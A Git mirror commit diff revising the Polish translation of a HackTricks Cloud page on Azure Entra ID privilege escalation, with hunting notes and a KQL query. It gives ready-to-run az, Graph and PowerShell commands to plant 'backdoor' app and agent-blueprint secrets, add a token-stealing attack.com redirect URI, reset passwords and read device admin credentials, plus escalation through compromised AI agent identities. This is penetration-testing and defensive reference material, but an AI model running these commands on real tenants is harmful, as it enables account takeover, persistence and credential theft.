gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 14:47:17 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

Browse Source
This commit is contained in:
Translator
2026-06-16 13:23:39 +00:00
parent 6292af62dd
commit 315b071ea9
1 changed files with 84 additions and 53 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
+84 -53
View File
@@ -3,13 +3,13 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
> Zwróć uwagę, że **nie wszystkie granular permissions** wbudowanych ról w Entra ID **mogą być używane w custom roles.**
> Zauważ, że **nie wszystkie granular permissions** wbudowanych ról w Entra ID **mogą być używane w custom roles.**
## Roles
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
Ta rola zawiera niezbędne granular permissions, aby móc przypisywać role do principals i nadawać więcej permissions rolom. Obie akcje mogą zostać abused do eskalacji privileges.
Ta rola zawiera niezbędne granular permissions, aby móc przypisywać role do principals i nadawać więcej permissions rolom. Obie akcje mogą zostać abused do escalatowania privileges.
- Assign role to a user:
```bash
@@ -52,16 +52,47 @@ az rest --method PATCH \
### `microsoft.directory/applications/credentials/update`
To pozwala atakującemu **dodać poświadczenia** (hasła lub certyfikaty) do istniejących aplikacji. Jeśli aplikacja ma uprzywilejowane uprawnienia, atakujący może uwierzytelnić się jako ta aplikacja i uzyskać te uprawnienia.
To allows an attacker to **dodać poświadczenia** (hasła lub certyfikaty) do istniejących applications. If the application has privileged permissions, the attacker can authenticate as that application and gain those privileges.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/allProperties/update`
To uprawnienie daje możliwość aktualizacji **każdej zapisywalnej właściwości** dowolnej **jednokuersyjnej** rejestracji aplikacji (`signInAudience = AzureADMyOrg`), w tym `passwordCredentials` i `keyCredentials`. W katalogu ma oznaczenie `IsPrivileged: true`, ale **nie** występuje w żadnej wbudowanej roli — pojawia się niemal wyłącznie w **custom roles**, które admin tworzy, aby delegować „manage our internal apps”, nie zdając sobie sprawy, że subtyp `.myOrganization` zawęża działanie dokładnie do zestawu aplikacji, które z największym prawdopodobieństwem mają uprzywilejowane uprawnienia Microsoft Graph.
- Wylicz apps z nadanymi uprzywilejowanymi uprawnieniami Microsoft Graph:
```bash
# SPs with at least one Microsoft Graph app role assigned
GRAPH_SP_ID=$(az ad sp show --id 00000003-0000-0000-c000-000000000000 --query id -o tsv)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$GRAPH_SP_ID/appRoleAssignedTo" \
--query "value[].{App:principalDisplayName, SP:principalId, RoleId:appRoleId}" \
-o table
# Resolve a RoleId to the human-readable permission name
az ad sp show --id 00000003-0000-0000-c000-000000000000 \
--query "appRoles[?id=='<RoleId>'].value" -o tsv
```
- Potwierdź, że cel jest single-tenant (w obrębie zakresu podtypu `.myOrganization`):
```bash
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/applications(appId='<APP_ID>')" \
--query "{audience:signInAudience, name:displayName}"
# audience must be "AzureADMyOrg"
```
- Wstrzyknij credential do docelowej aplikacji — jedyny uprzywilejowany krok w łańcuchu:
```bash
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/applications(appId='<APP_ID>')/addPassword" \
--headers "Content-Type=application/json" \
--body '{"passwordCredential":{"displayName":"backdoor"}}'
```
### `microsoft.directory/applications.myOrganization/credentials/update`
To umożliwia te same działania co `applications/credentials/update`, ale w zakresie aplikacji single-directory.
To umożliwia te same działania co `applications/credentials/update`, ale w zakresie aplikacji jednego katalogu.
```bash
az ad app credential reset --id <appId> --append
```
@@ -77,22 +108,22 @@ az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`
Atakujący może dodać redirect URI do aplikacji używanych przez użytkowników tenant, a następnie udostępniać im login URLs używające nowego redirect URL, aby ukraść ich tokeny. Zwróć uwagę, że jeśli użytkownik był już zalogowany do aplikacji, uwierzytelnienie nastąpi automatycznie, bez potrzeby akceptowania czegokolwiek przez użytkownika.
Atakujący może dodać redirect URI do applications używanych przez users tenanta, a następnie udostępniać im login URLs korzystające z nowego redirect URL, aby ukraść ich tokens. Zwróć uwagę, że jeśli user był już zalogowany w application, authentication odbędzie się automatycznie, bez potrzeby akceptowania czegokolwiek przez usera.
Zwróć uwagę, że możliwe jest też zmienienie permissions, o które prosi aplikacja, aby uzyskać więcej permissions, ale w tym przypadku użytkownik będzie musiał ponownie zaakceptować prompt proszący o wszystkie permissions.
Zwróć uwagę, że możliwa jest też zmiana permissions, o które application prosi, aby uzyskać więcej permissions, ale w tym przypadku user będzie musiał ponownie zaakceptować prompt proszący o wszystkie permissions.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
### Escalacja uprawnień aplikacji
### Applications Privilege Escalation
**Jak wyjaśniono w [tym poście](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**, bardzo często można było znaleźć domyślne aplikacje, które miały przypisane **API permissions** typu **`Application`**. API Permission (jak nazywa się to w konsoli Entra ID) typu **`Application`** oznacza, że aplikacja może uzyskiwać dostęp do API i wykonywać działania bez kontekstu użytkownika (bez logowania użytkownika do aplikacji) oraz bez potrzeby posiadania ról Entra ID, aby to umożliwić. Dlatego bardzo często można znaleźć **aplikacje o wysokich uprawnieniach w każdym tenant Entra ID**.
**Jak wyjaśniono w [tym poście](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**, bardzo często można było znaleźć domyślne applications, którym przypisano **API permissions** typu **`Application`**. API Permission (jak nazywa to konsola Entra ID) typu **`Application`** oznacza, że aplikacja może uzyskać dostęp do API i wykonywać akcje bez user context (bez loginu użytkownika do app), oraz bez potrzeby używania ról Entra ID, aby to umożliwić. Dlatego bardzo często można znaleźć **high privileged applications in every Entra ID tenant**.
Następnie, jeśli atakujący ma jakiekolwiek permission/role, które pozwalają **zaktualizować credentials (secret o certificate) aplikacji**, atakujący może wygenerować nowe credential, a potem użyć go do **uwierzytelnienia się jako aplikacja**, uzyskując wszystkie permissions, które ma ta aplikacja.
Następnie, jeśli attacker ma jakiekolwiek permission/role, które pozwala **zaktualizować credentials (secret o certificate) aplikacji**, attacker może wygenerować nowe credential, a potem użyć go do **authenticate as the application**, uzyskując wszystkie permissions, które ma ta aplikacja.
Zauważ, że wspomniany blog pokazuje niektóre **API permissions** popularnych domyślnych aplikacji Microsoft, jednak jakiś czas po tym raporcie Microsoft naprawił ten problem i obecnie nie jest już możliwe logowanie się jako aplikacje Microsoft. Nadal jednak można znaleźć **niestandardowe aplikacje o wysokich uprawnieniach, które można nadużyć**.
Zwróć uwagę, że wspomniany blog udostępnia niektóre **API permissions** popularnych domyślnych Microsoft applications, jednak jakiś czas po tym raporcie Microsoft naprawił ten issue i teraz nie jest już możliwe zalogowanie się jako Microsoft applications. Jednak nadal można znaleźć **custom applications with high privileges that could be abused**.
Jak wyliczyć API permissions aplikacji:
```bash
@@ -125,7 +156,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>Znajdź wszystkie uprawnienia API aplikacji i oznacz Microsoft-owned APIs</summary>
<summary>Znajdź wszystkie uprawnienia API aplikacji i oznacz API należące do Microsoft</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
@@ -241,46 +272,46 @@ done < <(jq -c '.[]' <<<"$apps_json")
### `microsoft.directory/servicePrincipals/credentials/update`
To pozwala atakującemu dodać credentials do istniejących service principals. Jeśli service principal ma podniesione uprawnienia, atakujący może przejąć te uprawnienia.
To pozwala atakującemu dodać credentials do istniejących service principals. Jeśli service principal ma podwyższone privileges, atakujący może przejąć te privileges.
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> Nowe wygenerowane hasło nie pojawi się w web console, więc może to być stealth sposób na utrzymanie persistence nad service principal.\
> Nowo wygenerowane hasło nie pojawi się w web console, więc może to być stealth sposób na utrzymanie persistence nad service principal.\
> Z API można je znaleźć za pomocą: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
Jeśli otrzymasz błąd `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, to dlatego, że **nie da się zmodyfikować właściwości passwordCredentials** SP i najpierw trzeba ją odblokować. Do tego potrzebujesz uprawnienia (`microsoft.directory/applications/allProperties/update`), które pozwala wykonać:
Jeśli otrzymasz błąd `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, to dlatego, że **nie jest możliwe modyfikowanie właściwości passwordCredentials** SP i najpierw trzeba ją odblokować. Do tego potrzebujesz permission (`microsoft.directory/applications/allProperties/update`), które pozwala wykonać:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### Entra Agent ID blueprint credential abuse (`AgentIdentityBlueprint.AddRemoveCreds.All`)
**Agent identity blueprints** są obiektami application i każdy blueprint tworzy także **agent identity blueprint principal** w tenant. **Agent identities** są potomkami service-principal-derived tego blueprint path. Dlatego jeśli atakujący może **dodać password/certificate do blueprint** albo już ukradł jedną z jego credentials, może później uwierzytelnić się jako **blueprint principal** i request tokens dla child agent identities.
**Agent identity blueprints** to obiekty application i każdy blueprint tworzy także **agent identity blueprint principal** w tenant. **Agent identities** to dzieci pochodzące od service-principal tego blueprint path. Therefore, if an attacker can **dodać password/certificate do blueprint** albo już ukradł jedną z jego credentials, they can later authenticate as the **blueprint principal** i request tokens for child agent identities.
To zamienia zły Entra Agent ID role assignment w:
This turns a bad Entra Agent ID role assignment into both:
- **Persistence**: nowy `passwordCredential` pozostaje na blueprint do czasu usunięcia
- **Privilege escalation**: low-trust/dev agent może przejść do innego high-trust blueprint i potem działać jako jego child agents
- **Persistence**: the new `passwordCredential` pozostaje na blueprint until removed
- **Privilege escalation**: low-trust/dev agent can przejść do innego high-trust blueprint i then act as its child agents
Typowe dangerous paths to:
Typical dangerous paths are:
- Skompromitowany agent identity z **`AgentIdentityBlueprint.AddRemoveCreds.All`**
- Skompromitowany owner/sponsor/admin zdolny do zarządzania blueprint
- Kradzież istniejącego blueprint secret/certificate
- A compromised agent identity with **`AgentIdentityBlueprint.AddRemoveCreds.All`**
- A compromised owner/sponsor/admin able to manage the blueprint
- Theft of an existing blueprint secret/certificate
Dodaj nowy secret do target blueprint:
Add a new secret to the target blueprint:
```bash
az rest --method POST \
--url "https://graph.microsoft.com/beta/applications/<blueprint-object-id>/addPassword" \
--headers 'Content-Type=application/json' \
--body '{"passwordCredential":{"displayName":"ht-backdoor"}}'
```
Albo z Microsoft Graph PowerShell:
Albo za pomocą Microsoft Graph PowerShell:
```powershell
$params = @{ passwordCredential = @{ displayName = 'ht-backdoor' } }
Add-MgBetaApplicationPassword -ApplicationId <blueprint-object-id> -BodyParameter $params
```
Jeśli nowe poświadczenie zostanie zaakceptowane, uwierzytelnij się jako **blueprint principal** i nadużyj wymiany tokenów Agent ID. Pierwsze żądanie używa poświadczenia blueprint i ustawia **`fmi_path`** na tożsamość docelowego agenta. Zwrócony token jest następnie ponownie używany jako **JWT bearer `client_assertion`** do uzyskania tokena Microsoft Graph dla tej tożsamości agenta.
Jeśli nowe poświadczenie zostanie zaakceptowane, uwierzytelnij się jako **blueprint principal** i nadużyj Agent ID token exchange. Pierwsze żądanie używa blueprint credential i ustawia **`fmi_path`** na docelową tożsamość agenta. Zwrócony token jest następnie ponownie używany jako **JWT bearer `client_assertion`** do uzyskania tokena Microsoft Graph dla tej tożsamości agenta.
```bash
curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
-H 'Content-Type: application/x-www-form-urlencoded' \
@@ -301,7 +332,7 @@ curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
--data-urlencode 'scope=https://graph.microsoft.com/.default'
```
> [!CAUTION]
> Jeśli **dev** blueprint lub jego child agent może dodać credentials do **prod** blueprint, atakujący przekracza oczekiwaną granicę zaufania blueprint/agent i uzyskuje trwały dostęp do infrastruktury docelowego agenta.
> Jeśli **dev** blueprint lub jego child agent może dodawać credentials do **prod** blueprint, attacker przekracza oczekiwaną granicę zaufania blueprint/agent i uzyskuje trwały access do docelowej infrastruktury agenta.
Quick validation / scoping:
```powershell
@@ -313,30 +344,30 @@ $app = Get-MgBetaApplication -ApplicationId <target-blueprint-object-id>
$app.AdditionalProperties['@odata.type']
$app.PasswordCredentials | ? { $_.KeyId -eq '<new-key-id>' }
```
Notatki z polowania:
Notatki łowieckie:
- Szukaj **`Update application – Certificates and secrets management`** w [Az - Monitoring](../../az-services/az-monitoring.md)
- Koreluj **`AuditLogs`**, **`MicrosoftGraphActivityLogs`** oraz **`AADServicePrincipalSignInLogs`** używając czasu, service principal ID, user-agent, IP oraz `SignInActivityId` / `UniqueTokenIdentifier`
- W `MicrosoftGraphActivityLogs` sprawdź `RequestUri` kończące się na **`/applications/<id>/microsoft.graph.addPassword`** oraz czy `Roles` zawiera **`AgentIdentityBlueprint.AddRemoveCreds.All`**
- W `AADServicePrincipalSignInLogs` przejrzyj `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType` oraz czy nowy klucz został później użyty
- Koreluj **`AuditLogs`**, **`MicrosoftGraphActivityLogs`** i **`AADServicePrincipalSignInLogs`** używając czasu, service principal ID, user-agent, IP oraz `SignInActivityId` / `UniqueTokenIdentifier`
- W `MicrosoftGraphActivityLogs` sprawdź, czy `RequestUri` kończy się na **`/applications/<id>/microsoft.graph.addPassword`** oraz czy `Roles` zawiera **`AgentIdentityBlueprint.AddRemoveCreds.All`**
- W `AADServicePrincipalSignInLogs` przejrzyj `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType` oraz to, czy nowy key został później użyty
Minimalne KQL, aby sprawdzić, czy nowo dodany secret uwierzytelnił się:
Minimalny KQL, aby sprawdzić, czy nowo dodany secret uwierzytelnił się:
```kusto
AADServicePrincipalSignInLogs
| where ServicePrincipalCredentialKeyId == "<new-key-id>"
| project CreatedDateTime, ServicePrincipalName, ServicePrincipalId, IPAddress, UserAgent, ResourceDisplayName
```
To jest powiązane z ogólnym [application credential abuse](../../az-services/az-azuread.md#applications) i [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals), ale Entra Agent ID dodaje drugi etap, w którym blueprint credential może zostać wymieniony na **different agent identity token**.
To jest związane z ogólnym [application credential abuse](../../az-services/az-azuread.md#applications) i [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals), ale Entra Agent ID dodaje drugi etap, w którym blueprint credential może zostać wymieniony na **different agent identity token**.
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
To pozwala atakującemu dodać credentiale do istniejących service principals. Jeśli service principal ma podniesione uprawnienia, atakujący może przejąć te uprawnienia.
To pozwala atakującemu dodać credentials do istniejących service principals. Jeśli service principal ma podwyższone uprawnienia, atakujący może przejąć te uprawnienia.
```bash
az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`
Podobnie jak w przypadku applications, to uprawnienie pozwala dodać więcej ownerów do service principal. Posiadanie service principal umożliwia kontrolę nad jego credentials i permissions.
Podobnie jak w przypadku applications, to uprawnienie pozwala dodać więcej właścicieli do service principal. Posiadanie service principal daje kontrolę nad jego poświadczeniami i uprawnieniami.
```bash
# Add new owner
spId="<spId>"
@@ -354,13 +385,13 @@ az ad sp credential reset --id <sp-id> --append
az ad sp owner list --id <spId>
```
> [!CAUTION]
> Po dodaniu nowego owner, próbowałem go usunąć, ale API odpowiedziało, że metoda DELETE nie jest obsługiwana, mimo że to właśnie jej trzeba użyć do usunięcia owner. Więc **obecnie nie można usuwać owner**.
> Po dodaniu nowego ownera próbowałem go usunąć, ale API odpowiedziało, że metoda DELETE nie była wspierana, nawet jeśli to właśnie jej trzeba użyć do usunięcia ownera. Więc **nie możesz obecnie usuwać ownerów**.
### `microsoft.directory/servicePrincipals/disable` and `enable`
Te permissions pozwalają na disable i enable service principals. Attacker mógłby użyć tego permission, aby enable service principal, do którego mógłby jakoś uzyskać access, i w ten sposób escalate privileges.
Te permissions pozwalają disable i enable service principals. Atakujący mógłby użyć tych permissions, aby enable service principal, do którego mógłby jakoś uzyskać access, w celu eskalacji privileges.
Zwróć uwagę, że do tej techniki attacker będzie potrzebował więcej permissions, aby przejąć kontrolę nad włączonym service principal.
Zauważ, że dla tej technique atakujący będzie potrzebował więcej permissions, aby przejąć enabled service principal.
```bash
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
@@ -370,7 +401,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
Te uprawnienia pozwalają tworzyć i pobierać poświadczenia do single sign-on, co może umożliwić dostęp do aplikacji firm trzecich.
Te uprawnienia pozwalają tworzyć i pobierać credentials dla single sign-on, co może umożliwić dostęp do aplikacji third-party.
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
@@ -392,34 +423,34 @@ az rest --method POST \
```
---
## Grupy
## Groups
### `microsoft.directory/groups/allProperties/update`
To uprawnienie pozwala dodawać użytkowników do uprzywilejowanych grup, prowadząc do privilege escalation.
To uprawnienie pozwala dodawać użytkowników do uprzywilejowanych grup, co prowadzi do privilege escalation.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
**Uwaga**: To uprawnienie wyklucza grupy z możliwością przypisywania ról w Entra ID.
**Uwaga**: To uprawnienie wyklucza Entra ID role-assignable groups.
### `microsoft.directory/groups/owners/update`
To uprawnienie pozwala zostać właścicielem grup. Właściciel grupy może kontrolować członkostwo i ustawienia grupy, potencjalnie eskalując uprawnienia do grupy.
To uprawnienie pozwala zostać właścicielem grup. Właściciel grupy może kontrolować membership i settings grupy, potencjalnie eskalując privileges do grupy.
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
```
**Uwaga**: To uprawnienie wyklucza grupy Entra ID role-assignable.
**Uwaga**: To uprawnienie wyklucza Entra ID role-assignable groups.
### `microsoft.directory/groups/members/update`
To uprawnienie pozwala dodawać członków do grupy. Atakujący mógłby dodać siebie lub złośliwe konta do uprzywilejowanych grup, co może przyznać podwyższony dostęp.
To uprawnienie pozwala dodawać członków do grupy. Atakujący może dodać siebie lub malicious accounts do privileged groups, co może przyznać elevated access.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
To uprawnienie pozwala aktualizować regułę członkostwa w dynamicznej grupie. Atakujący może zmodyfikować reguły dynamiczne tak, aby uwzględniały jego konto w uprzywilejowanych grupach bez jawnego dodania.
To uprawnienie pozwala na aktualizację reguły członkostwa w dynamicznej grupie. Atakujący mógłby zmodyfikować reguły dynamiczne, aby dodać siebie do uprzywilejowanych grup bez jawnego dodania.
```bash
groupId="<group-id>"
az rest --method PATCH \
@@ -430,11 +461,11 @@ az rest --method PATCH \
"membershipRuleProcessingState": "On"
}'
```
**Note**: To uprawnienie wyklucza Entra ID role-assignable groups.
**Uwaga**: To uprawnienie wyklucza grupy przypisywalne do roli Entra ID.
### Dynamic Groups Privesc
Możliwe może być, aby użytkownicy podnieśli privileges, modyfikując własne właściwości tak, by zostać dodanymi jako members dynamic groups. Więcej informacji sprawdź:
Możliwe może być, aby użytkownicy podnieśli uprawnienia, modyfikując własne właściwości tak, aby zostać dodanymi jako członkowie dynamic groups. Więcej informacji:
{{#ref}}
dynamic-groups.md
@@ -444,7 +475,7 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
To uprawnienie pozwala resetować hasło użytkownikom niebędącym admin, co umożliwia potencjalnemu attacker podniesienie privileges do innych users. To uprawnienie nie może być przypisane do custom roles.
To uprawnienie pozwala resetować hasło użytkownikom niebędącym adminami, co umożliwia potencjalnemu attackerowi podniesienie uprawnień do innych użytkowników. To uprawnienie nie może być przypisane do custom roles.
```bash
# Update user password
userId="<user-id>"
@@ -464,7 +495,7 @@ az rest --method PATCH \
```
### `microsoft.directory/users/basic/update`
To uprawnienie pozwala modyfikować właściwości użytkownika. Często można znaleźć dynamiczne grupy, które dodają użytkowników na podstawie wartości właściwości, dlatego to uprawnienie może pozwolić użytkownikowi ustawić wymaganą wartość właściwości, aby stać się członkiem określonej dynamicznej grupy i eskalować uprawnienia.
To uprawnienie pozwala modyfikować właściwości użytkownika. Często można znaleźć dynamic groups, które dodają użytkowników na podstawie wartości properties, dlatego to uprawnienie może pozwolić użytkownikowi ustawić wymaganą wartość property, aby zostać członkiem określonej dynamic group i eskalować privileges.
```bash
#e.g. change manager of a user
victimUser="<userID>"
@@ -482,7 +513,7 @@ az rest --method PATCH \
```
## Conditional Access Policies & MFA bypass
Źle skonfigurowane conditional access policies wymagające MFA mogły zostać bypassed, sprawdź:
Błędnie skonfigurowane conditional access policies wymagające MFA mogą zostać obejście, sprawdź:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
@@ -492,7 +523,7 @@ az-conditional-access-policies-mfa-bypass.md
### `microsoft.directory/devices/registeredOwners/update`
To uprawnienie pozwala atakującym przypisywać samych siebie jako ownerów urządzeń, aby zdobyć kontrolę lub dostęp do ustawień i danych specyficznych dla urządzenia.
To uprawnienie pozwala atakującym przypisać siebie jako ownerów devices, aby uzyskać kontrolę lub dostęp do ustawień i danych specyficznych dla device.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -503,7 +534,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
To uprawnienie pozwala atakującym powiązać swoje konto z urządzeniami, aby uzyskać dostęp lub obejść polityki bezpieczeństwa.
To uprawnienie pozwala atakującym powiązać swoje konto z urządzeniami, aby uzyskać dostęp lub ominąć polityki bezpieczeństwa.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -514,7 +545,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
To uprawnienie pozwala atakującym odczytać właściwości zarchiwizowanych poświadczeń lokalnego konta administratora dla urządzeń dołączonych do Microsoft Entra, w tym hasło
To uprawnienie pozwala atakującym odczytywać właściwości zarchiwizowanych poświadczeń lokalnego konta administratora dla urządzeń dołączonych do Microsoft Entra, w tym hasło
```bash
# List deviceLocalCredentials
az rest --method GET \